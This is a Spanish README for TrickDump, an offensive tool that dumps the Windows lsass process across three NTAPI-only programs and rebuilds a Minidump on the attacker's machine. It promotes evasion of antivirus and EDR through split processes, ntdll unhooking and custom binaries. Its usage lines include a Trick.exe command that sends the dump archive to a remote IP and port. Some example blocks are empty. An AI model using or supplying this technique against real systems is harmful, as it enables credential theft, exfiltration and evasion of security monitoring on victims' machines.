
Volcar lsass usando solo funciones NTAPI creando 3 archivos JSON y 1 ZIP... ¡y generar el archivo MiniDump más tarde!
TrickDump extrae el proceso lsass sin crear un archivo Minidump, generando en su lugar 3 archivos JSON y 1 archivo ZIP con los volcados de regiones de memoria. En tres pasos:
Lock: Obtener información del SO usando RtlGetVersion.
Shock: Obtener el privilegio SeDebugPrivilege con NtOpenProcessToken y NtAdjustPrivilegeToken, abrir un handle con NtGetNextProcess y NtQueryInformationProcess y luego obtener información de los módulos usando NtQueryInformationProcess y NtReadVirtualMemory.
Barrel: Obtener el privilegio SeDebugPrivilege, abrir un handle y luego obtener información y volcar regiones de memoria usando NtQueryVirtualMemory y NtReadVirtualMemory.

En el sistema atacante, use el script create_dump.py para generar el archivo Minidump:
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
Los beneficios de esta técnica son:
Nunca hay un archivo Minidump válido en disco, memoria o el tráfico de red.
No hay un solo programa o proceso ejecutando todo el ataque, sino tres separados, lo que puede levantar menos alertas.
Los programas solo usan NTAPIs (este proyecto es una variante de NativeDump).
No usa OpenProcess ni NtOpenProcess para obtener el handle del proceso lsass con los derechos de acceso PROCESS_VM_OPERATION y PROCESS_VM_WRITE.
Cada programa permite sobrescribir la sección ".text" de la biblioteca ntdll.dll para evadir el hooking de API:
Está disponible en diferentes lenguajes:
No funcionará si PPL está habilitado, la estructura PEB es ilegible o los binarios no están compilados como 64-bit. Actualización: Ahora es posible ejecutar los programas sin leer el PEB, consulta la rama peb-unreadable :)
La técnica funciona bien en las últimas versiones de Windows y ha sido probada contra soluciones comunes de AV y EDR, pero el sigilo dependerá del "flavour" que elijas: ¡usa lenguajes poco comunes y personaliza los binarios para obtener los mejores resultados!
Los programas se ejecutan en el sistema víctima, creando tres archivos JSON (con información de las regiones de memoria) y un archivo zip (con cada volcado de región de memoria).
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
Puedes ejecutar los programas directamente sin sobrescribir la biblioteca ntdll.dll:

O usar una de las tres técnicas de sobrescritura diferentes:

Luego se genera el archivo Minidump:

Si prefieres ejecutar solo un binario, Trick.exe genera un archivo ZIP que contiene los 3 archivos JSON y el archivo ZIP con las regiones de memoria:
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
Puedes crear el archivo ZIP localmente, opcionalmente usando un método de sobrescritura de Ntdll:

O enviarlo a un puerto remoto usando el segundo y tercer parámetro como la dirección IP y el puerto:

En ambos casos obtienes un archivo ZIP como este, descomprímelo y crea el archivo Minidump:
